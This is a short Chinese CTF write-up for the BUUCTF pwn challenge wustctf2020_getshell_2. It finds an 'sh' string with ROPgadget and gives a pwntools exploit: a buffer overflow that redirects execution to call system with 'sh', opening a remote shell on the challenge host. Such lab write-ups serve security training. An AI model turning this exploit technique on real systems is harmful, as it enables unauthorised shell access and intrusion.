看到shell函数,可以直接找sh字符
ROPgadget --binary wustctf2020_getshell_2 --string "sh"
算一下可以发现只溢出返回地址的后一个
exp
from pwn import *
context.log_level='debug'
io = remote('node5.buuoj.cn',29807)
sh=0x08048670
call_sys=0x08048529
payload=cyclic(0x18+4)+p32(call_sys)+p32(sh)
io.sendline(payload)
io.interactive()